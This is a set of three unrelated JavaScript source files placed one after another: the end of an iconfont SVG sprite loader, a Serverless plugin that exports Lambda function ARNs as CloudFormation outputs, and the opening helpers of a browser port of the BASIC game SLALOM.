21.815652 9.260522 28.93913 66.960696 1.246609 274.966261 0.979478 613.153391-0.845913 0.445217-4.630261 0.75687-10.685217 0.75687-18.298434a210.142609 210.142609 0 0 0-1.202087-23.908174h-24.130783l-26.713043-34.103653c-28.40487-36.285217-44.966957-73.99513-45.990957-114.287304-0.26713-9.216 0-22.79513 0.845913-45.812869l2.493218-67.539479c0.801391-21.904696 1.424696-40.247652 1.914435-57.744695 0.890435-31.298783 1.335652-57.878261 1.335652-80.450783C732.249043 156.271304 661.370435 89.043478 526.246957 89.043478c-178.977391 0-234.985739 40.96-234.98574 163.483826v216.598261c5.654261 68.786087-27.692522 125.017043-89.043478 146.654609zM526.202435 0c212.546783 0 295.090087 133.698783 295.090087 224.077913 0 90.423652-7.390609 221.317565-6.678261 249.321739 0.445217 18.610087 9.48313 39.17913 27.069217 61.573565 47.37113 0 71.056696 37.665391 71.012174 112.996174-0.044522 75.330783-27.38087 111.081739-82.009043 107.297392-399.09287 2.137043-614.845217 2.137043-647.346087 0C150.928696 752.996174 126.886957 717.245217 111.304348 647.92487c0-70.077217 16.161391-107.742609 48.439652-112.996174 32.322783-5.209043 46.436174-25.778087 42.429217-61.618087v-220.827826C202.128696 66.025739 313.61113 0 526.202435 0zM378.434783 845.913043a89.043478 89.043478 0 0 0 89.043478 89.043479h89.043478a89.043478 89.043478 0 0 0 89.043478-89.043479h89.043479a178.086957 178.086957 0 0 1-178.086957 178.086957H467.478261a178.086957 178.086957 0 0 1-178.086957-178.086957h89.043479z" fill="#333333" ></path></symbol><symbol id="icon-tongzhifangda-copy" viewBox="0 0 1024 1024"><path d="M625.447947 81.838162c173.660579 0 241.095225 122.88 241.095225 205.945734 0 83.106653-6.056024 203.408751-5.442238 229.146853 0.409191 17.104176 7.774625 36.008791 22.096304 56.591089 38.709451 0 58.064176 34.617542 58.023257 103.852628 0 69.235085-22.382737 102.093107-67.025455 98.614985-326.002318 1.964116-502.281718 1.964116-528.797283 0-26.515564-2.045954-46.156723-34.903976-58.882557-98.614985 0-64.406633 13.175944-99.024176 39.568751-103.852628 26.392807-4.787532 37.972907-23.692148 34.658462-56.632008v-202.958641C360.742413 142.521159 451.828287 81.838162 625.488866 81.838162z" fill="#e6e6e6" ></path><path d="M439.634401 754.752448c-12.521239 179.512008 45.010989 269.247552 172.555764 269.247552 127.544775 0 186.345495-89.735544 176.361239-269.247552H439.634401z" fill="#e6e6e6" ></path><path d="M165.435639 565.910889a197.516404 197.516404 0 0 0-1.554925 20.582298c2.864336 11.12999 5.728671 20.05035 8.511169 26.597402 61.542298 1.145734 252.716244 0.90022 563.537583-0.777462 0.409191-4.255584 0.695624-9.820579 0.695624-16.817742a193.138062 193.138062 0 0 0-1.104815-21.973547h-22.178142l-24.551449-31.344016c-26.106374-33.349051-41.328272-68.007512-42.26941-105.039281-0.245514-8.47025 0-20.950569 0.777462-42.105734l2.291469-62.074246c0.736543-20.132188 1.309411-36.990849 1.75952-53.072048 0.818382-28.766114 1.227572-53.194805 1.227573-73.940779C652.618217 143.625974 587.47504 81.838162 463.285629 81.838162c-164.494705 0-215.970909 37.645554-215.970909 150.254865v199.071329c5.196723 63.21998-25.451668 114.900779-81.838162 134.787452zM463.24471 0c195.347692 0 271.211668 122.88 271.211669 205.945734 0 83.106653-6.792567 203.408751-6.137863 229.146853 0.409191 17.104176 8.715764 36.008791 24.878802 56.591089 43.537902 0 65.306853 34.617542 65.265934 103.852628-0.040919 69.235085-25.165235 102.093107-75.372947 98.614985-366.798641 1.964116-565.092507 1.964116-594.963437 0C118.337777 692.064416 96.241474 659.206394 81.919795 595.495385c0-64.406633 14.853626-99.024176 44.51996-103.852628 29.707253-4.787532 42.678601-23.692148 38.995884-56.632008v-202.958641C165.39472 60.682997 267.856099 0 463.24471 0zM327.434281 777.462537a81.838162 81.838162 0 0 0 81.838162 81.838162h81.838161a81.838162 81.838162 0 0 0 81.838162-81.838162h81.838162a163.676324 163.676324 0 0 1-163.676324 163.676324H409.272443a163.676324 163.676324 0 0 1-163.676324-163.676324h81.838162z" fill="#333333" ></path></symbol><symbol id="icon-yidongduan-gengduoicon" viewBox="0 0 1260 1024"><path d="M59.076923 0h1142.153846a59.076923 59.076923 0 0 1 0 118.153846h-1142.153846a59.076923 59.076923 0 0 1 0-118.153846z m0 905.846154h1142.153846a59.076923 59.076923 0 0 1 0 118.153846h-1142.153846a59.076923 59.076923 0 0 1 0-118.153846z m0-433.230769h1142.153846a59.076923 59.076923 0 0 1 0 118.153846h-1142.153846a59.076923 59.076923 0 0 1 0-118.153846z" fill="#333333" ></path></symbol><symbol id="icon-yidongduan-gengduoiconxuanzhong" viewBox="0 0 1260 1024"><path d="M59.076923 0h1142.153846a59.076923 59.076923 0 0 1 0 118.153846h-1142.153846a59.076923 59.076923 0 0 1 0-118.153846z m0 905.846154h1142.153846a59.076923 59.076923 0 0 1 0 118.153846h-1142.153846a59.076923 59.076923 0 0 1 0-118.153846z m0-433.230769h1142.153846a59.076923 59.076923 0 0 1 0 118.153846h-1142.153846a59.076923 59.076923 0 0 1 0-118.153846z" fill="#E6231F" ></path></symbol><symbol id="icon-yidongduan-shoujihao" viewBox="0 0 1056 1024"><path d="M74.944 58.56c83.392-77.152 204.256-77.152 357.44-5.504l9.856 4.608 5.024 9.696c83.584 161.824 75.36 279.296-34.016 337.856-6.368 3.424-12.16 6.784-17.344 10.144-36.8 23.648-41.28 38.624-26.56 64.192 15.776 27.328 38.432 49.184 123.776 123.52 34.688 30.176 55.744 45.984 69.44 52.352 7.232 3.392 7.456 3.36 10.56 1.216 5.696-3.968 49.6-53.888 69.536-72.704 66.88-63.04 155.04-77.824 259.84-45.632l4.32 1.312 3.776 2.496c91.296 59.616 134.752 127.232 123.264 204.48-36.48 159.168-130.656 243.712-263.712 260.256-97.696 12.16-210.304-13.632-311.456-60.224-146.784-67.68-272.32-190.048-355.168-336.128-117.76-131.68-144.704-444.576-28.576-551.968z m43.424 46.976C30.4 186.88 55.072 463.648 153.152 569.92l2.56 2.752 1.824 3.296c76.48 136.224 192.96 250.272 327.968 312.48 91.232 42.08 192.736 65.28 276.736 54.848 106.464-13.248 178.784-78.176 208.768-208.544 6.624-44.864-21.824-90.112-91.616-136.608-81.984-24.128-144.768-12.96-192.832 32.32-15.008 14.144-63.584 69.44-76.896 78.688-42.24 29.408-76.96 13.216-158.592-57.856-92.896-80.96-116.096-103.296-137.152-139.776-32.64-56.576-16.928-108.704 47.36-150.016 6.72-4.32 13.92-8.544 21.76-12.736 69.632-37.28 76.64-113.536 12.288-242.336-126.88-57.184-217.6-55.808-276.96-0.96z" fill="#979797" ></path></symbol><symbol id="icon-yidongduan-shenfenzheng" viewBox="0 0 1024 1024"><path d="M512.02496 384a160 160 0 1 0 0-320 160 160 0 0 0 0 320z m0 64a224 224 0 1 1 0-448 224 224 0 0 1 0 448z m480 477.376c-27.52 59.456-80.448 89.152-158.816 89.152-117.504 0-441.056 7.808-628.448 0-124.896-5.184-182.08-34.88-171.52-89.152C33.27296 661.76 247.92896 448 512.66496 448 777.40096 448 992.02496 661.76 992.02496 925.376zM512.66496 512C283.12896 512 97.24096 697.152 97.24096 925.376v5.952c19.008 9.888 56.256 17.024 110.176 19.264 66.368 2.752 154.208 3.744 263.904 3.328 55.744-0.224 111.552-0.736 187.584-1.632l99.2-1.216c33.216-0.352 56.8-0.544 75.072-0.544 48.416 0 77.184-13.024 94.528-40.544C919.60896 688.864 736.92096 512 512.66496 512z" fill="#979797" ></path></symbol><symbol id="icon-yidongduan-zhiweixiangqingdise" viewBox="0 0 3993 1024"><path d="M281.6 0h3376.0512a51.2 51.2 0 0 1 49.664 63.616l-230.4 921.6a51.2 51.2 0 0 1-49.664 38.784H51.2a51.2 51.2 0 0 1-49.664-63.616l230.4-921.6A51.2 51.2 0 0 1 281.6 0z m3609.6 0h48.0512a51.2 51.2 0 0 1 49.664 63.616l-230.4 921.6a51.2 51.2 0 0 1-49.664 38.784H3660.8a51.2 51.2 0 0 1-49.664-63.616l230.4-921.6A51.2 51.2 0 0 1 3891.2 0z" fill="#E6231F" ></path></symbol><symbol id="icon-shangchuanfujian" viewBox="0 0 1024 1024"><path d="M43.893153 606.086508L257.857085 399.186441h174.427118v33.496949h-159.900203L78.795932 619.901831v322.785627c-3.419119 33.410169 13.554983 47.451119 60.572204 47.676745 56.372068 0.277695 311.139797 0.138847 762.619661-0.347118 29.019119-2.464542 41.862508-16.540203 42.522034-47.65939 0.798373-38.82522 1.214915-146.570847 1.214915-323.02861L774.039864 432.68339H570.975458V399.186441h218.788881L980.610169 606.659254v6.334915c0 180.501695-0.416542 290.416814-1.232271 330.023051-1.006644 47.780881-27.075254 76.366102-75.845423 80.42739-453.16339 0.55539-707.879051 0.694237-764.355255 0.416543-65.483932-0.329763-100.43878-28.932339-95.284067-81.989424V606.086508z m658.466711-308.241355L511.704949 61.387932 321.588068 297.827797h137.910237V538.033898h89.55661V297.845153h153.304949z m-118.593084 34.711864V538.033898a34.711864 34.711864 0 0 1-34.711865 34.711865h-89.55661a34.711864 34.711864 0 0 1-34.711864-34.711865V332.557017h-139.420204a17.355932 17.355932 0 0 1-13.537627-28.238102l226.321356-281.478508a17.355932 17.355932 0 0 1 27.040542-0.017356l226.963526 281.478508a17.355932 17.355932 0 0 1-13.520271 28.255458h-154.866983zM668.20339 520.677966h34.711864v104.135593c0 31.119186-34.920136 52.067797-75.203254 52.067797H396.288C356.004881 676.881356 321.084746 655.932746 321.084746 624.813559v-104.135593h34.711864v104.135593c0 7.220068 16.887322 17.355932 40.49139 17.355933h231.424c23.604068 0 40.49139-10.135864 40.49139-17.355933v-104.135593z" fill="#666666" ></path></symbol><symbol id="icon-jianpan" viewBox="0 0 1177 1024"><path d="M51.2 358.4a25.6 25.6 0 0 0-25.6 25.6v588.8a25.6 25.6 0 0 0 25.6 25.6h1075.2a25.6 25.6 0 0 0 25.6-25.6V384a25.6 25.6 0 0 0-25.6-25.6H51.2z m0-25.6h1075.2a51.2 51.2 0 0 1 51.2 51.2v588.8a51.2 51.2 0 0 1-51.2 51.2H51.2a51.2 51.2 0 0 1-51.2-51.2V384a51.2 51.2 0 0 1 51.2-51.2z m435.2-204.8l102.4-128 102.4 128h-204.8zM179.2 409.6h76.8v153.6H179.2v-153.6z m179.2 0h76.8v153.6h-76.8v-153.6z m179.2 0h76.8v153.6h-76.8v-153.6z m179.2 0h76.8v153.6h-76.8v-153.6z m179.2 0h76.8v153.6h-76.8v-153.6z m-614.4 204.8h76.8v153.6h-76.8v-153.6z m0 230.4h588.8v76.8H281.6v-76.8z m179.2-230.4h76.8v153.6h-76.8v-153.6z m179.2 0h76.8v153.6h-76.8v-153.6z m179.2 0h76.8v153.6h-76.8v-153.6z" fill="#7F8389" ></path></symbol><symbol id="icon-bofang1" viewBox="0 0 1024 1024"><path d="M512 1008.246154C237.922462 1008.246154 15.753846 786.077538 15.753846 512S237.922462 15.753846 512 15.753846 1008.246154 237.922462 1008.246154 512 786.077538 1008.246154 512 1008.246154z m0-47.261539c247.965538 0 448.984615-201.019077 448.984615-448.984615S759.965538 63.015385 512 63.015385 63.015385 264.034462 63.015385 512 264.034462 960.984615 512 960.984615zM732.553846 512l-315.076923 220.553846V291.446154l315.076923 220.553846z" fill="#FAF6F6" ></path></symbol><symbol id="icon-changjianwenti" viewBox="0 0 1126 1024"><path d="M256 51.2a204.8 204.8 0 0 0-204.8 204.8v429.312a108.8768 108.8768 0 0 0 108.8768 108.8512H203.264l28.544 167.0912 173.9776-167.0912H870.4a204.8 204.8 0 0 0 204.8-204.8V256a204.8 204.8 0 0 0-204.8-204.8H256z m0-51.2h614.4c141.3888 0 256 114.6112 256 256v333.3632c0 141.3888-114.6112 256-256 256H426.3936l-159.1296 152.832a51.2 51.2 0 0 1-85.9392-28.3136l-21.248-124.5184A160.0768 160.0768 0 0 1 0 685.312V256C0 114.6112 114.6112 0 256 0z m-12.8 475.4176a51.2 51.2 0 1 0 0-102.4 51.2 51.2 0 0 0 0 102.4z m0 51.2a102.4 102.4 0 1 1 0-204.8 102.4 102.4 0 0 1 0 204.8z m321.8176-51.2a51.2 51.2 0 1 0 0-102.4 51.2 51.2 0 0 0 0 102.4z m0 51.2a102.4 102.4 0 1 1 0-204.8 102.4 102.4 0 0 1 0 204.8z m321.8432-51.2a51.2 51.2 0 1 0 0-102.4 51.2 51.2 0 0 0 0 102.4z m0 51.2a102.4 102.4 0 1 1 0-204.8 102.4 102.4 0 0 1 0 204.8z" fill="#333333" ></path></symbol><symbol id="icon-zhiweiliebiao" viewBox="0 0 1100 1024"><path d="M481.015106 460.79712c128.434397 0 248.753645 55.577253 338.353086 152.728645l-36.223774 31.231805c-80.690696-87.449053-188.005225-137.035944-302.129312-137.035943-244.222474 0-431.613302 194.584384-431.613302 459.337929l-0.179199 3.071981c-0.383998 2.815982-0.563196 5.119968-0.614396 6.911956 34.457385-0.153599 209.048293-0.204799 524.71992-0.204798v46.924506c-337.303492 0-514.198386 0.0768-529.455891 0.230399-32.895794 0.332798-47.103706-24.447847-43.007731-58.393235C1.581303 676.373373 209.656802 460.79712 481.015106 460.79712zM51.398591 976.889894a1.791989 1.791989 0 0 0 0.128 0.435198 7.219155 7.219155 0 0 0-0.0512-0.0768l-0.0768-0.383997zM497.911001 358.39776a153.59904 153.59904 0 1 0 0-307.19808 153.59904 153.59904 0 0 0 0 307.19808z m0 51.19968a204.79872 204.79872 0 1 1 0-409.59744 204.79872 204.79872 0 0 1 0 409.59744zM768.091712 716.79552h307.19808a25.59984 25.59984 0 0 1 0 51.19968H768.091712a25.59984 25.59984 0 0 1 0-51.19968z m0 127.9992h307.19808a25.59984 25.59984 0 0 1 0 51.19968H768.091712a25.59984 25.59984 0 0 1 0-51.19968z m0 127.9992h307.19808a25.59984 25.59984 0 0 1 0 51.19968H768.091712a25.59984 25.59984 0 0 1 0-51.19968z" fill="#333333" ></path></symbol><symbol id="icon-zhaopinliucheng" viewBox="0 0 1073 1024"><path d="M517.244878 272.883512c59.541854 0 107.944585-48.777366 107.944585-109.143414s-48.402732-109.143415-107.944585-109.143415c-59.541854 0-107.969561 48.777366-107.969561 109.143415s48.427707 109.143415 107.969561 109.143414z m0 49.95122c-87.214829 0-157.92078-71.230439-157.92078-159.094634 0-87.889171 70.680976-159.094634 157.92078-159.094635 87.214829 0 157.895805 71.205463 157.895805 159.094635 0 87.864195-70.680976 159.094634-157.895805 159.094634zM161.941854 829.739707c59.541854 0 107.944585-48.777366 107.944585-109.143414s-48.402732-109.143415-107.944585-109.143415c-59.541854 0-107.969561 48.777366-107.969561 109.143415s48.427707 109.143415 107.969561 109.143414z m0 49.95122c-87.214829 0-157.92078-71.230439-157.920781-159.094634 0-87.864195 70.705951-159.094634 157.920781-159.094634 87.214829 0 157.895805 71.230439 157.895805 159.094634 0 87.864195-70.680976 159.094634-157.895805 159.094634z m750.067512-49.95122c59.541854 0 107.969561-48.777366 107.969561-109.143414s-48.427707-109.143415-107.969561-109.143415c-59.541854 0-107.944585 48.777366-107.944586 109.143415s48.402732 109.143415 107.944586 109.143414z m0 49.95122c-87.214829 0-157.895805-71.230439-157.895805-159.094634 0-87.864195 70.680976-159.094634 157.895805-159.094634s157.92078 71.230439 157.92078 159.094634c0 87.864195-70.705951 159.094634-157.92078 159.094634zM262.993171 182.446829l32.618146 37.838049c-106.471024 91.810341-158.09561 183.345951-157.146537 274.856585l-49.951219 0.499513c-1.123902-108.094439 57.793561-212.567415 174.47961-313.194147zM781.886439 174.829268c116.686049 100.626732 175.603512 205.099707 174.47961 313.194147l-49.95122-0.499513C907.363902 396.013268 855.764293 304.452683 749.268293 212.667317L781.886439 174.829268zM314.942439 945.37678l27.198439-41.909073c51.649561 33.517268 114.812878 50.57561 190.014439 50.950244 75.576195 0.39961 144.933463-16.883512 208.546342-51.874341l24.076487 43.757268c-71.130537 39.13678-148.87961 58.492878-232.872585 58.068293-84.342634-0.424585-156.846829-20.005463-216.963122-58.992391z" fill="#333333" ></path></symbol><symbol id="icon-zhiweiliebiaoxuanzhong" viewBox="0 0 1228 1024"><path d="M253.497401 216.592735a216.566886 214.493863 90 1 0 428.987727 0 216.566886 214.493863 90 1 0-428.987727 0Z" fill="#FAD7D7" ></path><path d="M843.77141 905.629638c0-260.944927-158.368694-472.49561-395.281914-472.49561C211.550683 433.134028 19.501769 644.710304 19.501769 905.629638c-2.76403 62.523387 13.308294 94.36092 48.191378 95.538193 34.908678 1.177272 284.260034 1.177272 748.07966 0 15.739617-4.99061 25.081015-16.12351 27.998603-33.347513 2.917587-17.249596 2.917587-37.979823 0-62.19068z" fill="#FAD7D7" ></path><path d="M608.598505 460.697552c128.476219 0 248.76272 55.51094 338.337773 152.507926l-38.13338 32.502948c-80.182469-86.836616-186.827968-136.026117-300.204393-136.026117-242.671616 0-428.962134 193.200594-428.962134 456.244136l-0.230336 3.19911c-0.307114 2.200987-0.460672 4.09486-0.53745 5.630431 37.340001-0.153557 210.936454-0.204743 521.787482-0.204743v48.959165c-336.26475 0-512.625234 0.076779-527.8274 0.230336-33.782592 0.332707-48.319343-24.978643-44.173298-59.324278C129.37197 675.882423 337.314058 460.697552 608.598505 460.697552zM588.636065 386.734151c85.992051 0 155.860593-69.919727 155.860593-156.372451S674.628116 73.98925 588.636065 73.98925 432.775472 143.93457 432.775472 230.3617s69.868542 156.37245 155.860593 156.372451zM588.636065 435.104679a204.742979 204.742979 0 1 1 0-409.485958 204.742979 204.742979 0 0 1 0 409.485958z m307.114468 332.707341h299.794908H895.750533z m0-25.592872h299.794908a25.592872 25.592872 0 1 1 0 51.185745H895.750533a25.592872 25.592872 0 0 1 0-51.185745z m0 127.964362h299.794908H895.750533z m0-25.592872h299.794908a25.592872 25.592872 0 1 1 0 51.185744H895.750533a25.592872 25.592872 0 0 1 0-51.185744z m0 153.557234h299.794908H895.750533z m0-25.592873h299.794908a25.592872 25.592872 0 1 1 0 51.185745H895.750533a25.592872 25.592872 0 0 1 0-51.185745z" fill="#E6231F" ></path></symbol><symbol id="icon-zhaopinliuchengxuanzhong" viewBox="0 0 1166 1024"><path d="M476.27907 523.906977m-404.83721 0a404.837209 404.837209 0 1 0 809.674419 0 404.837209 404.837209 0 1 0-809.674419 0Z" fill="#FAD7D7" ></path><path d="M476.27907 119.069767m-119.069768 0a119.069767 119.069767 0 1 0 238.139535 0 119.069767 119.069767 0 1 0-238.139535 0Z" fill="#FAD7D7" ></path><path d="M119.069767 762.046512m-119.069767 0a119.069767 119.069767 0 1 0 238.139535 0 119.069767 119.069767 0 1 0-238.139535 0Z" fill="#FAD7D7" ></path><path d="M608.398884 279.575814c56.772465 0 102.947721-46.508651 102.947721-104.066977S665.171349 71.44186 608.398884 71.44186c-56.772465 0-102.923907 46.508651-102.923907 104.066977s46.151442 104.066977 102.923907 104.066977z m0 47.627907c-83.134512 0-150.551814-67.893581-150.551814-151.694884 0-83.777488 67.393488-151.694884 150.551814-151.694884s150.575628 67.917395 150.575628 151.694884c0 83.801302-67.393488 151.694884-150.575628 151.694884zM269.645395 810.579349c56.748651 0 102.923907-46.508651 102.923907-104.066977s-46.175256-104.066977-102.923907-104.066977C212.87293 602.397767 166.697674 648.930233 166.697674 706.464744s46.175256 104.066977 102.947721 104.066977z m0 47.627907C186.463256 858.183442 119.069767 790.266047 119.069767 706.488558c0-83.801302 67.393488-151.694884 150.575628-151.694884 83.134512 0 150.551814 67.893581 150.551814 151.694884 0 83.777488-67.393488 151.694884-150.551814 151.694884z m715.180652-47.627907c56.772465 0 102.923907-46.508651 102.923906-104.066977s-46.151442-104.066977-102.923906-104.066977c-56.772465 0-102.947721 46.508651-102.947721 104.066977s46.175256 104.066977 102.947721 104.066977z m0 47.627907c-83.158326 0-150.575628-67.917395-150.575628-151.694884 0-83.801302 67.417302-151.694884 150.575628-151.694884 83.158326 0 150.551814 67.893581 150.551813 151.694884 0 83.777488-67.393488 151.694884-150.551813 151.694884zM365.996651 193.369302l31.101023 36.07814c-101.542698 87.540093-150.742326 174.818233-149.837395 262.072558l-47.627907 0.476279c-1.071628-103.066791 55.105488-202.680558 166.364279-298.626977z m494.758698-7.263255c111.258791 95.922605 167.435907 195.560186 166.340465 298.626976l-47.627907-0.476279c0.952558-87.254326-48.294698-174.556279-149.813581-262.072558l31.101023-36.078139zM415.529674 920.81414l25.909582-39.959814c49.27107 31.958326 109.496558 48.223256 181.200372 48.580465 72.037209 0.357209 138.192372-16.098233 198.846512-49.461582l22.932837 41.722047c-67.798326 37.316465-141.931163 55.772279-222.017489 55.367442-80.443535-0.404837-149.551628-19.074977-206.871814-56.248558z" fill="#E6231F" ></path></symbol><symbol id="icon-changjianwentixuanzhong" viewBox="0 0 1194 1024"><path d="M195.047619 0C87.332571 0 0 88.429714 0 197.510095v414.037334c0 58.002286 46.421333 105.008762 103.69219 105.008761H144.822857L172.007619 877.714286l165.692952-161.158096H780.190476c107.715048 0 195.047619-88.429714 195.047619-197.510095V197.485714C975.238095 88.429714 887.905524 0 780.190476 0H195.047619z" fill="#FAD7D7" ></path><path d="M365.714286 97.52381a195.047619 195.047619 0 0 0-195.047619 195.047619v408.868571a103.69219 103.69219 0 0 0 103.69219 103.66781h41.130667l27.184762 159.134476 165.692952-159.134476H950.857143a195.047619 195.047619 0 0 0 195.047619-195.04762V292.571429a195.047619 195.047619 0 0 0-195.047619-195.047619H365.714286z m0-48.761905h585.142857c134.656 0 243.809524 109.153524 243.809524 243.809524v317.488761c0 134.656-109.153524 243.809524-243.809524 243.809524H527.993905l-151.552 145.554286a48.761905 48.761905 0 0 1-81.846857-26.965333l-20.236191-118.588953A152.454095 152.454095 0 0 1 121.904762 701.44V292.571429C121.904762 157.915429 231.058286 48.761905 365.714286 48.761905z m-12.190476 452.778666a48.761905 48.761905 0 1 0 0-97.523809 48.761905 48.761905 0 0 0 0 97.523809z m0 48.761905a97.52381 97.52381 0 1 1 0-195.047619 97.52381 97.52381 0 0 1 0 195.047619z m306.492952-48.761905a48.761905 48.761905 0 1 0 0-97.523809 48.761905 48.761905 0 0 0 0 97.523809z m0 48.761905a97.52381 97.52381 0 1 1 0-195.047619 97.52381 97.52381 0 0 1 0 195.047619z m306.517333-48.761905a48.761905 48.761905 0 1 0 0-97.523809 48.761905 48.761905 0 0 0 0 97.523809z m0 48.761905a97.52381 97.52381 0 1 1 0-195.047619 97.52381 97.52381 0 0 1 0 195.047619z" fill="#E6231F" ></path></symbol><symbol id="icon-tongzhi1" viewBox="0 0 1152 1024"><path d="M617.914207 1005.750571L191.9982 753.08094V282.557351L617.914207 18.239829C639.674003 6.271941 664.50577 0 689.785533 0 768.312797 0 831.9922 59.519442 831.9922 132.990753v758.008894c0 23.615779-6.719937 46.719562-19.455818 67.19937-39.679628 63.359406-126.782811 84.671206-194.558176 47.551554zM63.9994 255.9976a63.9994 63.9994 0 0 1 63.9994 63.9994v383.9964a63.9994 63.9994 0 0 1-127.9988 0V319.997a63.9994 63.9994 0 0 1 63.9994-63.9994z m863.9919 255.9976h191.9982a31.9997 31.9997 0 1 1 0 63.9994h-191.9982a31.9997 31.9997 0 1 1 0-63.9994z m50.751524 197.502148l135.742728 135.742728a31.9997 31.9997 0 0 1-45.247576 45.247576l-135.742728-135.742728a31.9997 31.9997 0 0 1 45.247576-45.247576z m0-331.004896a31.9997 31.9997 0 0 1-45.247576-45.247576l135.742728-135.742728a31.9997 31.9997 0 0 1 45.247576 45.247576l-135.742728 135.742728z" fill="#EE973D" ></path></symbol><symbol id="icon-yewujieshaoyouxi" viewBox="0 0 1126 1024"><path d="M365.1328 768h388.9664l98.5344 147.8144A128 128 0 0 0 959.1296 972.8h32.1024a76.8 76.8 0 0 0 76.8-76.8v-191.8208l2.4064-7.552c3.1488-9.9072 4.7616-20.3264 4.7616-31.0272V409.6c0-197.9392-160.4608-358.4-358.4-358.4H409.6C211.6608 51.2 51.2 211.6608 51.2 409.6v486.4a76.8 76.8 0 0 0 76.8 76.8h32.1024a128 128 0 0 0 106.496-56.9856L365.1328 768z m361.5744 51.2H392.5248l-83.328 125.0048A179.2 179.2 0 0 1 160.1024 1024H128a128 128 0 0 1-128-128V409.6C0 183.3728 183.3728 0 409.6 0h307.2c226.2272 0 409.6 183.3728 409.6 409.6v256c0 16.2048-2.5088 31.8464-7.168 46.5152V896a128 128 0 0 1-128 128h-32.1024a179.2 179.2 0 0 1-149.0944-79.7952L726.7072 819.2zM332.8 281.6v102.4H230.4a25.6 25.6 0 0 0 0 51.2h102.4v102.4a25.6 25.6 0 0 0 51.2 0v-102.4h102.4a25.6 25.6 0 0 0 0-51.2h-102.4v-102.4a25.6 25.6 0 0 0-51.2 0z m-51.2 51.2v-51.2a76.8 76.8 0 0 1 153.6 0v51.2h51.2a76.8 76.8 0 0 1 0 153.6h-51.2v51.2a76.8 76.8 0 0 1-153.6 0v-51.2H230.4a76.8 76.8 0 0 1 0-153.6h51.2z m499.2-76.8h51.2a38.4 38.4 0 0 1 0 76.8h-51.2a38.4 38.4 0 0 1 0-76.8z m-102.4 128h51.2a38.4 38.4 0 0 1 0 76.8h-51.2a38.4 38.4 0 0 1 0-76.8z m102.4 128h51.2a38.4 38.4 0 0 1 0 76.8h-51.2a38.4 38.4 0 0 1 0-76.8z m102.4-128h51.2a38.4 38.4 0 0 1 0 76.8h-51.2a38.4 38.4 0 0 1 0-76.8z" fill="#333333" ></path></symbol><symbol id="icon-wo-copy" viewBox="0 0 1026 1024"><path d="M513.342578 1023.975441c-282.754852 0-511.975441-229.220588-511.975441-511.975441s229.220588-511.975441 511.975441-511.975441 511.975441 229.220588 511.975441 511.975441S796.09743 1023.975441 513.342578 1023.975441zM513.342578 44.544519c-258.168897 0-467.455481 209.286584-467.455481 467.455481 0 124.725676 49.15656 237.754962 128.766712 321.573973-7.172353-23.777543-11.975752-75.810616 71.572082-98.976222l178.078815-66.778916L424.304705 623.298875c0 0-58.069557-20.12741-89.038896-111.298875L313.003783 311.661206c0 0 31.04097-133.558855 200.337771-133.558855 165.16776 0 195.452507 133.558855 195.452507 133.558855l-21.716604 200.337771c-30.213116 91.171466-86.326111 111.298875-86.326111 111.298875l-0.543376 44.519959 173.735903 66.778916c107.403149 30.525224 65.149812 111.298875 65.149812 111.298875s-0.189312 0.659009-0.403183 1.362021c87.525426-84.951811 142.106532-203.650213 142.106532-335.25967C980.798059 253.831103 771.511475 44.544519 513.342578 44.544519z" ></path></symbol></svg>';
var script = (function() {
var scripts = document.getElementsByTagName('script');
return scripts[scripts.length - 1];
})();
var shouldInjectCss = script.getAttribute('data-injectcss');
var ready = function(fn) {
if (document.addEventListener) {
if (~['complete', 'loaded', 'interactive'].indexOf(document.readyState)) {
setTimeout(fn, 0);
} else {
var loadFn = function() {
document.removeEventListener('DOMContentLoaded', loadFn, false);
fn();
};
document.addEventListener('DOMContentLoaded', loadFn, false);
}
} else if (document.attachEvent) {
IEContentLoaded(window, fn);
}
function IEContentLoaded(w, fn) {
var d = w.document,
done = false,
init = function() {
if (!done) {
done = true;
fn();
}
};
var polling = function() {
try {
d.documentElement.doScroll('left');
} catch (e) {
setTimeout(polling, 50);
return;
}
init();
};
polling();
d.onreadystatechange = function() {
if (d.readyState == 'complete') {
d.onreadystatechange = null;
init();
}
};
}
};
var before = function(el, target) {
target.parentNode.insertBefore(el, target);
};
var prepend = function(el, target) {
if (target.firstChild) {
before(el, target.firstChild);
} else {
target.appendChild(el);
}
};
function appendSvg() {
var div, svg;
div = document.createElement('div');
div.innerHTML = svgSprite;
svgSprite = null;
svg = div.getElementsByTagName('svg')[0];
if (svg) {
svg.setAttribute('aria-hidden', 'true');
svg.style.position = 'absolute';
svg.style.width = 0;
svg.style.height = 0;
svg.style.overflow = 'hidden';
prepend(svg, document.body);
}
}
if (shouldInjectCss && !window.__iconfont__svg__cssinject__) {
window.__iconfont__svg__cssinject__ = true;
try {
document.write(
'<style>.svgfont {display: inline-block;width: 1em;height: 1em;fill: currentColor;vertical-align: -0.1em;font-size:16px;}</style>'
);
} catch (e) {
console && console.log(e);
}
}
ready(appendSvg);
})(window);
|
const _ = require('lodash');
class ExportFunctionsPlugin {
constructor(serverless) {
this.serverless = serverless;
this.provider = this.serverless.getProvider('aws');
this.hooks = {
'deploy:compileEvents': this.execute.bind(this),
};
}
execute() {
if (!this.serverless.service.resources.Outputs) {
throw new this.serverless.classes.Error('This plugin needs access to Outputs section of the AWS CloudFormation template');
}
this.serverless.service.getAllFunctions().forEach((functionName) => {
const functionObj = this.serverless.service.getFunction(functionName);
const normalizedFunctionName = this.provider.naming.getNormalizedFunctionName(functionName);
const functionLogicalId = this.provider.naming.getLambdaLogicalId(functionName);
const configs = Object.assign({}, {namePattern: '{functionLogicalId}'}, this.serverless.service.custom.export);
_.merge(this.serverless.service.resources.Outputs, {
[`${functionLogicalId}Export`]: {
Description: `The ARN reference for the ${functionName} function.`,
Value: {
Ref: functionLogicalId
},
Export: {
Name: configs.namePattern.replace('{functionLogicalId}', functionLogicalId)
}
}
});
});
}
}
module.exports = ExportFunctionsPlugin;
|
// SLALOM
//
// Converted from BASIC to Javascript by Oscar Toledo G. (nanochess)
//
function print(str)
{
document.getElementById("output").appendChild(document.createTextNode(str));
}
function input()
{
var input_element;
var input_str;
return new Promise(function (resolve) {
input_element = document.createElement("INPUT");
print("? ");
input_element.setAttribute("type", "text");
input_element.setAttribute("length", "50");
document.getElementById("output").appendChild(input_element);
input_element.focus();
input_str = undefined;
input_element.addEventListener("keydown", function (event) {
if (event.keyCode == 13) {
input_str = input_element.value;
document.getElementById("output").removeChild(input_element);
print(input_str);
print("\n");
resolve(input_str);
}
});
});
}
function tab(space)
{
var str = "";
while (space-- > 0)
str += " ";
return str;
}
